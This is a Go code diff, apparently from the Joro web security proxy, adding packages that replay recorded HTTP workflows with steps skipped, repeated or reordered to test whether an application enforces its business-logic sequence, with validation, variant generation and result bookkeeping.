for _, b := range chain.BindingsInto(step.ID) {
|
||||
val, ok := vars[b.Var]
|
||||
if !ok {
|
||||
if b.OnMissing != MissingRecorded {
|
||||
missing = append(missing, Missing{Var: b.Var, FromStep: b.FromStep})
|
||||
continue
|
||||
}
|
||||
val = b.Recorded
|
||||
}
|
||||
for _, sp := range b.Spans {
|
||||
if sp.Start < 0 || sp.End > len(step.ReqRaw) || sp.Start > sp.End {
|
||||
return nil, nil, fmt.Errorf("binding %s has a span outside the recorded request", b.Var)
|
||||
}
|
||||
patches = append(patches, patch{span: sp, value: val})
|
||||
}
|
||||
}
|
||||
if len(missing) > 0 {
|
||||
return nil, missing, nil
|
||||
}
|
||||
|
||||
// Descending by start. Equal starts keep a stable order; overlapping spans
|
||||
// are refused by validation, so there is no last-writer question here.
|
||||
sort.SliceStable(patches, func(i, j int) bool {
|
||||
return patches[i].span.Start > patches[j].span.Start
|
||||
})
|
||||
|
||||
out := append([]byte(nil), step.ReqRaw...)
|
||||
for _, p := range patches {
|
||||
out = append(out[:p.span.Start], append([]byte(p.value), out[p.span.End:]...)...)
|
||||
}
|
||||
|
||||
if len(step.Edits) > 0 {
|
||||
out, err = httptools.ApplyEdits(out, step.Edits)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("edits: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
return httptools.UpdateContentLength(out), nil, nil
|
||||
}
|
||||
|
||||
// Capture runs every source a step produces against its response and folds the
|
||||
// results into vars.
|
||||
//
|
||||
// Failures are returned rather than swallowed, but they are not fatal on their
|
||||
// own: a source that did not fire only matters when a later step actually needs
|
||||
// the value, and that is where it becomes an unresolved dependency with a name
|
||||
// attached. Reporting it here too is what lets the UI show "step 2 did not
|
||||
// produce csrf" beside the step rather than only beside its consumer.
|
||||
func Capture(chain *Chain, step Step, respRaw []byte, vars Vars) []string {
|
||||
resp := httptools.ReadResponse(respRaw)
|
||||
|
||||
seen := make(map[string]bool)
|
||||
var problems []string
|
||||
for _, b := range chain.BindingsFrom(step.ID) {
|
||||
// One value may feed several steps as several bindings; extract once.
|
||||
if seen[b.Var] {
|
||||
continue
|
||||
}
|
||||
seen[b.Var] = true
|
||||
|
||||
val, err := Extract(b.Source, resp)
|
||||
if err != nil {
|
||||
// A repeat re-runs a producer against a table still holding what it
|
||||
// produced last time. Leaving the stale entry makes Render send a
|
||||
// spent token, and the rejection reads as the application enforcing
|
||||
// its order rather than as an unresolved dependency.
|
||||
delete(vars, b.Var)
|
||||
problems = append(problems, fmt.Sprintf("%s: %v", b.Var, err))
|
||||
continue
|
||||
}
|
||||
vars[b.Var] = val
|
||||
}
|
||||
return problems
|
||||
}
|
||||
|
||||
// Canonicalize rewrites a response, replacing every value the run has bound with
|
||||
// its variable name.
|
||||
//
|
||||
// This is what makes two runs of one chain comparable, and it is the reason a
|
||||
// chain is worth building rather than diffing raw responses.
|
||||
//
|
||||
// httptools.FingerprintResponse already folds out values a server would have
|
||||
// chosen differently — hex runs, UUIDs, timestamps, base64 — but it can only
|
||||
// fold what its patterns recognize. An identifier like "ord_4025aff0ad" matches
|
||||
// none of them: the underscore denies the hex rule its word boundary, and the
|
||||
// string is too short for the base64 rule, so it falls through to the bare-digit
|
||||
// rule and normalizes to a different shape on every run. The consequence is not
|
||||
// cosmetic: every replayed step reads as "changed", every skip reads as
|
||||
// "enforced", and the tab confidently reports that an application is safe.
|
||||
//
|
||||
// A chain does not have to guess. The values that vary between runs are exactly
|
||||
// the ones it bound, and it holds both the names and the current values. Folding
|
||||
// those first means the remaining differences are real ones.
|
||||
//
|
||||
// Only ever applied to the copy that is hashed. What was sent and what is shown
|
||||
// to the operator are untouched.
|
||||
func Canonicalize(raw []byte, vars Vars) []byte {
|
||||
if len(raw) == 0 || len(vars) == 0 {
|
||||
return raw
|
||||
}
|
||||
// Longest value first, so a value that contains another is folded before its
|
||||
// substring can shred it.
|
||||
names := make([]string, 0, len(vars))
|
||||
for name := range vars {
|
||||
if len(vars[name]) >= minCanonicalLen {
|
||||
names = append(names, name)
|
||||
}
|
||||
}
|
||||
sort.SliceStable(names, func(i, j int) bool { return len(vars[names[i]]) > len(vars[names[j]]) })
|
||||
|
||||
out := raw
|
||||
for _, name := range names {
|
||||
out = bytes.ReplaceAll(out, []byte(vars[name]), []byte("{{"+name+"}}"))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// minCanonicalLen keeps a short bound value from folding unrelated text. A
|
||||
// two-character value occurs everywhere; replacing it would destroy the very
|
||||
// differences this exists to preserve.
|
||||
const minCanonicalLen = 6
|
||||
|
||||
// MethodOf reads a recorded request's method, for the safety gate and for labels.
|
||||
func MethodOf(raw []byte) string {
|
||||
line, _, _ := strings.Cut(string(raw), "\n")
|
||||
method, _, _, ok := splitRequestLine(line)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
return method
|
||||
}
|
||||
|
||||
// TargetOf reads a recorded request's target, for labels.
|
||||
func TargetOf(raw []byte) string {
|
||||
line, _, _ := strings.Cut(string(raw), "\n")
|
||||
_, target, _, ok := splitRequestLine(line)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
return target
|
||||
}
|
||||
|
||||
// splitRequestLine mirrors httptools.requestLine, which is unexported. Kept to
|
||||
// three tokens by the same rule: the target may contain spaces in a malformed
|
||||
// capture, so the first field is the method and the last the version.
|
||||
func splitRequestLine(line string) (method, target, version string, ok bool) {
|
||||
parts := strings.Split(strings.TrimRight(line, "\r"), " ")
|
||||
if len(parts) < 3 {
|
||||
return "", "", "", false
|
||||
}
|
||||
return parts[0], strings.Join(parts[1:len(parts)-1], " "), parts[len(parts)-1], true
|
||||
}
|
||||
|
||||
// Label renders a step's default display name.
|
||||
func Label(raw []byte) string {
|
||||
m, t := MethodOf(raw), TargetOf(raw)
|
||||
if m == "" {
|
||||
return "(unparsable request)"
|
||||
}
|
||||
if i := strings.IndexByte(t, '?'); i > 0 {
|
||||
t = t[:i]
|
||||
}
|
||||
return m + " " + truncate(t, 48)
|
||||
}
|
||||
@@ -0,0 +1,167 @@
|
||||
package chain
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Validate checks a chain on the write path.
|
||||
//
|
||||
// Write path only, never on read. A chain that a hand-edited project file pushed
|
||||
// past a bound still has to load, so the operator can see it and fix it —
|
||||
// refusing it at load would make the workflow vanish rather than report itself,
|
||||
// which is the polarity internal/trigger's store and jsautomation's validateFlow
|
||||
// both settled on.
|
||||
func Validate(c *Chain) error {
|
||||
if strings.TrimSpace(c.Name) == "" {
|
||||
return fmt.Errorf("chain needs a name")
|
||||
}
|
||||
if len(c.Name) > MaxNameLen {
|
||||
return fmt.Errorf("name is over %d characters", MaxNameLen)
|
||||
}
|
||||
if len(c.Steps) == 0 {
|
||||
return fmt.Errorf("chain has no steps")
|
||||
}
|
||||
if len(c.Steps) > MaxSteps {
|
||||
return fmt.Errorf("%d steps exceeds the limit of %d", len(c.Steps), MaxSteps)
|
||||
}
|
||||
if len(c.Bindings) > MaxBindings {
|
||||
return fmt.Errorf("%d bindings exceeds the limit of %d", len(c.Bindings), MaxBindings)
|
||||
}
|
||||
|
||||
index := make(map[string]int, len(c.Steps))
|
||||
for i, s := range c.Steps {
|
||||
if s.ID == "" {
|
||||
return fmt.Errorf("step %d has no id", i+1)
|
||||
}
|
||||
if _, dup := index[s.ID]; dup {
|
||||
return fmt.Errorf("duplicate step id %q", s.ID)
|
||||
}
|
||||
index[s.ID] = i
|
||||
|
||||
if len(s.ReqRaw) == 0 {
|
||||
return fmt.Errorf("step %q has no request bytes", s.Label)
|
||||
}
|
||||
if len(s.ReqRaw) > MaxStepBytes {
|
||||
return fmt.Errorf("step %q request is %d bytes, over the %d byte limit", s.Label, len(s.ReqRaw), MaxStepBytes)
|
||||
}
|
||||
if len(s.RespRaw) > MaxStepRespBytes {
|
||||
return fmt.Errorf("step %q response is %d bytes, over the %d byte limit", s.Label, len(s.RespRaw), MaxStepRespBytes)
|
||||
}
|
||||
if strings.TrimSpace(s.Host) == "" {
|
||||
return fmt.Errorf("step %q has no host", s.Label)
|
||||
}
|
||||
if MethodOf(s.ReqRaw) == "" {
|
||||
return fmt.Errorf("step %q does not start with a request line", s.Label)
|
||||
}
|
||||
}
|
||||
|
||||
if c.GoalStepID != "" {
|
||||
if _, ok := index[c.GoalStepID]; !ok {
|
||||
return fmt.Errorf("goal step %q is not in the chain", c.GoalStepID)
|
||||
}
|
||||
}
|
||||
|
||||
seenBinding := map[string]bool{}
|
||||
spansByStep := map[string][]Span{}
|
||||
for _, b := range c.Bindings {
|
||||
if b.ID == "" {
|
||||
return fmt.Errorf("binding for %q has no id", b.Var)
|
||||
}
|
||||
if seenBinding[b.ID] {
|
||||
return fmt.Errorf("duplicate binding id %q", b.ID)
|
||||
}
|
||||
seenBinding[b.ID] = true
|
||||
|
||||
if strings.TrimSpace(b.Var) == "" {
|
||||
return fmt.Errorf("binding %s has no variable name", b.ID)
|
||||
}
|
||||
if len(b.Var) > MaxVarLen {
|
||||
return fmt.Errorf("variable name %q is over %d characters", b.Var, MaxVarLen)
|
||||
}
|
||||
from, okFrom := index[b.FromStep]
|
||||
if !okFrom {
|
||||
return fmt.Errorf("binding %q reads from step %q, which is not in the chain", b.Var, b.FromStep)
|
||||
}
|
||||
to, okTo := index[b.ToStep]
|
||||
if !okTo {
|
||||
return fmt.Errorf("binding %q writes to step %q, which is not in the chain", b.Var, b.ToStep)
|
||||
}
|
||||
|
||||
// A binding pointing backwards is not merely useless, it is a promise
|
||||
// the run can never keep: the producer has not run when the consumer
|
||||
// needs it, so every variant would report the dependency unresolved.
|
||||
// Reordering is what the feature does, so this is checked against the
|
||||
// chain's own order rather than any particular variant.
|
||||
if from >= to {
|
||||
return fmt.Errorf("binding %q reads from %q, which does not run before %q",
|
||||
b.Var, c.Steps[from].Label, c.Steps[to].Label)
|
||||
}
|
||||
|
||||
if err := validateSource(b.Source, b.Var); err != nil {
|
||||
return err
|
||||
}
|
||||
if b.OnMissing != "" && b.OnMissing != MissingFail && b.OnMissing != MissingRecorded {
|
||||
return fmt.Errorf("binding %q has an unknown onMissing %q", b.Var, b.OnMissing)
|
||||
}
|
||||
if len(b.Spans) == 0 {
|
||||
return fmt.Errorf("binding %q has nowhere to write its value", b.Var)
|
||||
}
|
||||
if len(b.Spans) > MaxSpansPerBinding {
|
||||
return fmt.Errorf("binding %q writes to %d places, over the limit of %d", b.Var, len(b.Spans), MaxSpansPerBinding)
|
||||
}
|
||||
limit := len(c.Steps[to].ReqRaw)
|
||||
for _, sp := range b.Spans {
|
||||
if sp.Start < 0 || sp.End > limit || sp.Start >= sp.End {
|
||||
return fmt.Errorf("binding %q has a span outside %q's recorded request", b.Var, c.Steps[to].Label)
|
||||
}
|
||||
}
|
||||
spansByStep[b.ToStep] = append(spansByStep[b.ToStep], b.Spans...)
|
||||
}
|
||||
|
||||
// Overlapping spans in one step have no defined result: Render applies them
|
||||
// descending, so an overlap would have one substitution eat part of another
|
||||
// and emit bytes belonging to neither.
|
||||
for stepID, spans := range spansByStep {
|
||||
sort.Slice(spans, func(i, j int) bool { return spans[i].Start < spans[j].Start })
|
||||
for i := 1; i < len(spans); i++ {
|
||||
if spans[i].Start < spans[i-1].End {
|
||||
label := stepID
|
||||
if s, _, ok := c.StepByID(stepID); ok {
|
||||
label = s.Label
|
||||
}
|
||||
return fmt.Errorf("two bindings write to overlapping bytes of %q", label)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateSource(s Source, varName string) error {
|
||||
switch s.Kind {
|
||||
case SourceHeader, SourceCookie:
|
||||
if strings.TrimSpace(s.Name) == "" {
|
||||
return fmt.Errorf("binding %q needs a %s name", varName, s.Kind)
|
||||
}
|
||||
case SourceJSON:
|
||||
if strings.TrimSpace(s.Path) == "" {
|
||||
return fmt.Errorf("binding %q needs a json path", varName)
|
||||
}
|
||||
case SourceRegex:
|
||||
if strings.TrimSpace(s.Expr) == "" {
|
||||
return fmt.Errorf("binding %q needs a pattern", varName)
|
||||
}
|
||||
if s.Group < 0 {
|
||||
return fmt.Errorf("binding %q has a negative capture group", varName)
|
||||
}
|
||||
case SourceBetween:
|
||||
if s.Prefix == "" {
|
||||
return fmt.Errorf("binding %q needs text to anchor on", varName)
|
||||
}
|
||||
default:
|
||||
return fmt.Errorf("binding %q has an unknown source kind %q", varName, s.Kind)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,145 @@
|
||||
package chain
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
// GenerateVariants expands a chain into the orderings to execute.
|
||||
//
|
||||
// The baseline is always first and always present: it is the comparison basis,
|
||||
// and it is measured fresh on every run rather than read out of the recording,
|
||||
// because a recording is hours old and comparing against it would report every
|
||||
// session-dependent difference as a change the mutation caused.
|
||||
//
|
||||
// Setup steps are never mutated. They exist to put the application back into the
|
||||
// state the variant needs, so omitting, repeating or moving one tests the setup
|
||||
// rather than the workflow.
|
||||
//
|
||||
// The goal step is never omitted. A variant that removes the step whose outcome
|
||||
// decides the verdict has no verdict to give.
|
||||
func GenerateVariants(chain *Chain, kinds []string) []Variant {
|
||||
order := make([]string, len(chain.Steps))
|
||||
for i, s := range chain.Steps {
|
||||
order[i] = s.ID
|
||||
}
|
||||
|
||||
out := []Variant{{
|
||||
ID: "v1",
|
||||
Kind: VariantBaseline,
|
||||
Label: "baseline",
|
||||
Steps: order,
|
||||
}}
|
||||
n := 1
|
||||
next := func() string { n++; return "v" + strconv.Itoa(n) }
|
||||
|
||||
goal, hasGoal := chain.GoalStep()
|
||||
mutable := func(s Step) bool { return !s.Setup }
|
||||
|
||||
want := make(map[string]bool, len(kinds))
|
||||
for _, k := range kinds {
|
||||
want[k] = true
|
||||
}
|
||||
|
||||
if want[VariantOmit] {
|
||||
for i, s := range chain.Steps {
|
||||
if !mutable(s) || (hasGoal && s.ID == goal.ID) {
|
||||
continue
|
||||
}
|
||||
steps := make([]string, 0, len(order)-1)
|
||||
steps = append(steps, order[:i]...)
|
||||
steps = append(steps, order[i+1:]...)
|
||||
out = append(out, Variant{
|
||||
ID: next(),
|
||||
Kind: VariantOmit,
|
||||
Label: "skip " + s.Label,
|
||||
Steps: steps,
|
||||
Target: s.ID,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
if want[VariantRepeat] {
|
||||
for i, s := range chain.Steps {
|
||||
if !mutable(s) {
|
||||
continue
|
||||
}
|
||||
steps := make([]string, 0, len(order)+1)
|
||||
steps = append(steps, order[:i+1]...)
|
||||
steps = append(steps, s.ID)
|
||||
steps = append(steps, order[i+1:]...)
|
||||
out = append(out, Variant{
|
||||
ID: next(),
|
||||
Kind: VariantRepeat,
|
||||
Label: "repeat " + s.Label,
|
||||
Steps: steps,
|
||||
Target: s.ID,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
if want[VariantMove] {
|
||||
// Adjacent swaps only. A full permutation sweep is factorial and a
|
||||
// distant move is uninterpretable — "step 6 ran before step 2" gives an
|
||||
// operator nothing to act on, whereas "confirm ran before validate" does.
|
||||
for i := 0; i+1 < len(chain.Steps); i++ {
|
||||
a, b := chain.Steps[i], chain.Steps[i+1]
|
||||
if !mutable(a) || !mutable(b) {
|
||||
continue
|
||||
}
|
||||
steps := append([]string(nil), order...)
|
||||
steps[i], steps[i+1] = steps[i+1], steps[i]
|
||||
out = append(out, Variant{
|
||||
ID: next(),
|
||||
Kind: VariantMove,
|
||||
Label: b.Label + " before " + a.Label,
|
||||
Steps: steps,
|
||||
Target: b.ID,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return out
|
||||
}
|
||||
|
||||
// Plan reports how many step instances a set of variants will send, refusing
|
||||
// before any bytes go on the wire.
|
||||
//
|
||||
// Setup steps are counted once per variant because they re-run for each one,
|
||||
// which is exactly the cost an operator is surprised by otherwise.
|
||||
func Plan(chain *Chain, variants []Variant) (instances int, err error) {
|
||||
if len(chain.Steps) == 0 {
|
||||
return 0, fmt.Errorf("chain has no steps")
|
||||
}
|
||||
if len(variants) == 0 {
|
||||
return 0, fmt.Errorf("no variants selected")
|
||||
}
|
||||
if len(variants) > MaxVariantsPerRun {
|
||||
return 0, fmt.Errorf("%d variants exceeds the limit of %d; select fewer mutation kinds", len(variants), MaxVariantsPerRun)
|
||||
}
|
||||
for _, v := range variants {
|
||||
instances += len(v.Steps)
|
||||
}
|
||||
if instances > MaxInstancesPerRun {
|
||||
return 0, fmt.Errorf("%d requests exceeds the limit of %d; select fewer mutation kinds or split the chain", instances, MaxInstancesPerRun)
|
||||
}
|
||||
return instances, nil
|
||||
}
|
||||
|
||||
// StateChangingMethods reports the non-GET methods a chain would send, for the
|
||||
// arming gate. Sorted-unique so the warning names each method once.
|
||||
func StateChangingMethods(chain *Chain) []string {
|
||||
seen := map[string]bool{}
|
||||
var out []string
|
||||
for _, s := range chain.Steps {
|
||||
m := MethodOf(s.ReqRaw)
|
||||
if m == "" || m == "GET" || m == "HEAD" || m == "OPTIONS" {
|
||||
continue
|
||||
}
|
||||
if !seen[m] {
|
||||
seen[m] = true
|
||||
out = append(out, m)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,481 @@
|
||||
// Package chainrun executes the chains internal/chain describes.
|
||||
//
|
||||
// It is a separate package for the reason internal/apiscan is separate from
|
||||
// internal/apispec: passing a send callback into chain would satisfy the import
|
||||
// rule while destroying the property that makes chain worth having, which is that
|
||||
// nothing in it can reach the network. internal/fuzzer and internal/detect are
|
||||
// split from their model layers the same way.
|
||||
//
|
||||
// # Everything goes through Joro's own proxy
|
||||
//
|
||||
// Sends use httptools.SendViaProxy, not proxy.SendRawRequest, so every step of a
|
||||
// replay is captured into History, scanned by the detect engine, entered into the
|
||||
// site map, filtered by scope and rewritten by Match & Replace exactly as browser
|
||||
// traffic is — and so every step comes back with a Seq the grid can link to. The
|
||||
// costs are the ones that path always carries: HTTP/1.1 only, and an armed
|
||||
// intercept pauses every single send.
|
||||
//
|
||||
// # A run is sequential, and only one runs at a time
|
||||
//
|
||||
// This inverts apiscan's worker pool, deliberately. The steps of a workflow are
|
||||
// data-dependent, so they cannot overlap; and two variants of a checkout running
|
||||
// concurrently race on the application's own state, so both produce verdicts that
|
||||
// describe the interleaving rather than the application. The handler refuses a
|
||||
// second run rather than queueing one, because a queue would hide the constraint.
|
||||
//
|
||||
// # The baseline is measured, never remembered
|
||||
//
|
||||
// Every run executes the baseline ordering first and compares every other variant
|
||||
// against what it observed. Comparing against the recording instead would report
|
||||
// every session-dependent difference — a new CSRF token, a fresh timestamp — as a
|
||||
// change the mutation caused.
|
||||
//
|
||||
// # What two responses are compared on
|
||||
//
|
||||
// Both hashes are taken over the canonicalized response: chain.Canonicalize
|
||||
// first folds every value the run has bound down to its variable name, so an
|
||||
// order id that is different by construction on every run stops being a
|
||||
// difference. That step is not optional. httptools.FingerprintResponse folds what
|
||||
// its patterns recognize and an id like "ord_4025aff0ad" matches none of them, so
|
||||
// without canonicalizing first every replayed step reads as "changed", every skip
|
||||
// reads as "enforced", and the tab reports a vulnerable application as safe.
|
||||
//
|
||||
// On top of that, StructHash also folds digits and dates, which answers "did this
|
||||
// still work the same way" — what a skip or a reorder asks. CanonHash keeps the
|
||||
// canonical body exactly, which answers "did anything about the answer change" —
|
||||
// what a repeat asks, where a total falling from 90 to 80 is the whole finding
|
||||
// and StructHash maps both numbers to one placeholder.
|
||||
package chainrun
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/chain"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// Status is a run's state.
|
||||
type Status string
|
||||
|
||||
const (
|
||||
StatusRunning Status = "running"
|
||||
StatusComplete Status = "complete"
|
||||
StatusStopped Status = "stopped"
|
||||
)
|
||||
|
||||
// Cell states describe one step instance's outcome against the baseline.
|
||||
const (
|
||||
// CellOK means the step answered with the same structural hash the baseline
|
||||
// did: as far as this comparison can tell, the application did the same thing.
|
||||
CellOK = "ok"
|
||||
|
||||
// CellChanged means it answered differently.
|
||||
CellChanged = "changed"
|
||||
|
||||
// CellBlocked is the subset of changed worth naming: the baseline succeeded
|
||||
// here and this did not.
|
||||
CellBlocked = "blocked"
|
||||
|
||||
// CellUnresolved means the step did not send, because a value it consumes was
|
||||
// never produced in this ordering. This is the state that makes the tab
|
||||
// trustworthy — without it a broken replay is indistinguishable from an
|
||||
// application enforcing its sequence, and the tool would report false
|
||||
// negatives as confident passes.
|
||||
CellUnresolved = "unresolved"
|
||||
|
||||
// CellSkipped means the variant deliberately omitted the step.
|
||||
CellSkipped = "skipped"
|
||||
|
||||
// CellError means the send itself failed.
|
||||
CellError = "error"
|
||||
)
|
||||
|
||||
// Verdicts. The question a mutation asks differs by kind, so the answer does too.
|
||||
const (
|
||||
VerdictBaseline = "baseline"
|
||||
|
||||
// VerdictBypassed: the goal still succeeded with a step omitted or reordered.
|
||||
// The finding.
|
||||
VerdictBypassed = "bypassed"
|
||||
|
||||
// VerdictEnforced: the goal changed or failed. The application noticed.
|
||||
VerdictEnforced = "enforced"
|
||||
|
||||
// VerdictAmplified: repeating a step changed the goal's answer — a coupon
|
||||
// applied twice, a transfer counted twice.
|
||||
VerdictAmplified = "amplified"
|
||||
|
||||
// VerdictIdempotent: repeating a step changed nothing.
|
||||
VerdictIdempotent = "idempotent"
|
||||
|
||||
// VerdictInconclusive dominates every other verdict. A replay that broke
|
||||
// before reaching the goal says nothing about the application, and reporting
|
||||
// it as anything else fails in the direction that hides a real finding —
|
||||
// the polarity apiscan.verdictFor and trigger.Compile both settle on.
|
||||
VerdictInconclusive = "inconclusive"
|
||||
)
|
||||
|
||||
// Bounds.
|
||||
const (
|
||||
MaxRuns = 20
|
||||
|
||||
DefaultDelayMs = 250
|
||||
MaxDelayMs = 60000
|
||||
|
||||
DefaultTimeoutMs = 15000
|
||||
MaxTimeoutMs = 60000
|
||||
|
||||
DefaultBudgetMs = 900000
|
||||
MaxBudgetMs = 3600000
|
||||
)
|
||||
|
||||
// Config is snapshotted when a run starts, so an edit to the chain mid-run
|
||||
// cannot change what the run is executing or what its results describe.
|
||||
type Config struct {
|
||||
ChainID string
|
||||
Chain *chain.Chain
|
||||
Variants []chain.Variant
|
||||
|
||||
// AllowStateChanging is the arming gate. A chain containing any non-GET step
|
||||
// is refused without it.
|
||||
AllowStateChanging bool
|
||||
|
||||
DelayMs int
|
||||
TimeoutMs int
|
||||
BudgetMs int
|
||||
}
|
||||
|
||||
// Result is one step instance.
|
||||
type Result struct {
|
||||
Index int `json:"index"`
|
||||
VariantID string `json:"variantId"`
|
||||
StepID string `json:"stepId"`
|
||||
Label string `json:"label"`
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
|
||||
// Occurrence distinguishes the instances of a repeated step: 0 is the one
|
||||
// that owns the grid slot, 1 and up live in the extras region.
|
||||
Occurrence int `json:"occurrence"`
|
||||
|
||||
Cell string `json:"cell"`
|
||||
|
||||
Status int `json:"status"`
|
||||
Len int `json:"len"`
|
||||
DurationMs int64 `json:"durationMs"`
|
||||
BodyHash string `json:"bhash,omitempty"`
|
||||
|
||||
// StructHash and CanonHash are both taken over the canonicalized response —
|
||||
// the copy with every bound value folded to its variable name — and they
|
||||
// answer different questions, which is why both exist.
|
||||
//
|
||||
// StructHash additionally folds digits, dates and unbound tokens, so it
|
||||
// answers "did this still work the same way": the question a skip or a
|
||||
// reorder asks. CanonHash is the canonicalized body exactly, so it preserves
|
||||
// numbers, which is the question a repeat asks — an order total falling from
|
||||
// 90 to 80 is the entire finding, and StructHash normalizes both to the same
|
||||
// digit placeholder.
|
||||
StructHash string `json:"shash,omitempty"`
|
||||
CanonHash string `json:"chash,omitempty"`
|
||||
Words int `json:"words,omitempty"`
|
||||
Lines int `json:"lines,omitempty"`
|
||||
Note string `json:"note,omitempty"`
|
||||
|
||||
// Seq addresses the History row this send produced; 0 means it could not be
|
||||
// correlated, which is normal for a noise-filtered or out-of-scope host.
|
||||
Seq int `json:"seq,omitempty"`
|
||||
RequestID string `json:"requestId,omitempty"`
|
||||
SeqNote string `json:"seqNote,omitempty"`
|
||||
|
||||
// Missing names the dependencies that stopped this step sending.
|
||||
Missing []chain.Missing `json:"missing,omitempty"`
|
||||
|
||||
// Captured lists sources on this step that did not fire. Not fatal here — it
|
||||
// becomes one of its consumers' Missing entries — but reported so the UI can
|
||||
// show the failure beside the step that caused it.
|
||||
Captured []string `json:"captured,omitempty"`
|
||||
|
||||
Error string `json:"error,omitempty"`
|
||||
|
||||
ReqRaw []byte `json:"-"`
|
||||
RespRaw []byte `json:"-"`
|
||||
}
|
||||
|
||||
// Run is one execution.
|
||||
type Run struct {
|
||||
ID string `json:"id"`
|
||||
ChainID string `json:"chainId"`
|
||||
ChainName string `json:"chainName"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
Total int `json:"total"`
|
||||
|
||||
// Stride is the grid width: the number of steps in the chain. Slots are
|
||||
// idx = variantIndex*Stride + chainStepIndex, which makes the grid pivot
|
||||
// index arithmetic rather than a search and means a step that never sent
|
||||
// still occupies the cell the client asks about.
|
||||
Stride int `json:"stride"`
|
||||
Variants []chain.Variant `json:"variants"`
|
||||
Steps []StepHead `json:"steps"`
|
||||
|
||||
Config Config `json:"-"`
|
||||
|
||||
mu sync.RWMutex
|
||||
status Status
|
||||
completed int
|
||||
errors int
|
||||
unresolved int
|
||||
bypassed int
|
||||
results []Result
|
||||
extras []Result
|
||||
verdicts map[string]Verdict
|
||||
cancel context.CancelFunc
|
||||
}
|
||||
|
||||
// StepHead is the grid's column header: enough to render it without the chain.
|
||||
type StepHead struct {
|
||||
ID string `json:"id"`
|
||||
Label string `json:"label"`
|
||||
Method string `json:"method"`
|
||||
Setup bool `json:"setup,omitempty"`
|
||||
Goal bool `json:"goal,omitempty"`
|
||||
}
|
||||
|
||||
// Verdict is one variant's outcome.
|
||||
type Verdict struct {
|
||||
VariantID string `json:"variantId"`
|
||||
Kind string `json:"kind"`
|
||||
Label string `json:"label"`
|
||||
Verdict string `json:"verdict"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// NewRun creates a run with its grid pre-sized.
|
||||
func NewRun(id string, cfg Config, total int) *Run {
|
||||
ch := cfg.Chain
|
||||
goal, hasGoal := ch.GoalStep()
|
||||
|
||||
heads := make([]StepHead, len(ch.Steps))
|
||||
for i, s := range ch.Steps {
|
||||
heads[i] = StepHead{
|
||||
ID: s.ID,
|
||||
Label: s.Label,
|
||||
Method: chain.MethodOf(s.ReqRaw),
|
||||
Setup: s.Setup,
|
||||
Goal: hasGoal && s.ID == goal.ID,
|
||||
}
|
||||
}
|
||||
|
||||
stride := len(ch.Steps)
|
||||
return &Run{
|
||||
ID: id,
|
||||
ChainID: cfg.ChainID,
|
||||
ChainName: ch.Name,
|
||||
CreatedAt: time.Now(),
|
||||
Total: total,
|
||||
Stride: stride,
|
||||
Variants: cfg.Variants,
|
||||
Steps: heads,
|
||||
Config: cfg,
|
||||
status: StatusRunning,
|
||||
results: make([]Result, stride*len(cfg.Variants)),
|
||||
verdicts: make(map[string]Verdict, len(cfg.Variants)),
|
||||
}
|
||||
}
|
||||
|
||||
// Status reports the run's state.
|
||||
func (r *Run) Status() Status {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return r.status
|
||||
}
|
||||
|
||||
// Counts reports progress.
|
||||
func (r *Run) Counts() (completed, errors, unresolved, bypassed int) {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return r.completed, r.errors, r.unresolved, r.bypassed
|
||||
}
|
||||
|
||||
// Results returns the grid and the extras with raw bodies stripped, which is what
|
||||
// every list endpoint wants; raws are fetched one at a time by index.
|
||||
func (r *Run) Results() []Result {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
out := make([]Result, 0, len(r.results)+len(r.extras))
|
||||
for _, res := range append(append([]Result{}, r.results...), r.extras...) {
|
||||
res.ReqRaw, res.RespRaw = nil, nil
|
||||
out = append(out, res)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ResultAt returns one result including its raw bodies. The index space runs
|
||||
// across the grid and then the extras.
|
||||
func (r *Run) ResultAt(i int) (Result, bool) {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
if i < 0 {
|
||||
return Result{}, false
|
||||
}
|
||||
if i < len(r.results) {
|
||||
return r.results[i], true
|
||||
}
|
||||
if j := i - len(r.results); j < len(r.extras) {
|
||||
return r.extras[j], true
|
||||
}
|
||||
return Result{}, false
|
||||
}
|
||||
|
||||
// Verdicts returns every variant verdict computed so far.
|
||||
func (r *Run) Verdicts() []Verdict {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
out := make([]Verdict, 0, len(r.verdicts))
|
||||
for _, v := range r.Variants {
|
||||
if got, ok := r.verdicts[v.ID]; ok {
|
||||
out = append(out, got)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// setResult stores an outcome in its grid slot and advances the counters.
|
||||
func (r *Run) setResult(i int, res Result) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if i < 0 || i >= len(r.results) {
|
||||
return
|
||||
}
|
||||
res.Index = i
|
||||
r.results[i] = res
|
||||
r.tallyLocked(res)
|
||||
}
|
||||
|
||||
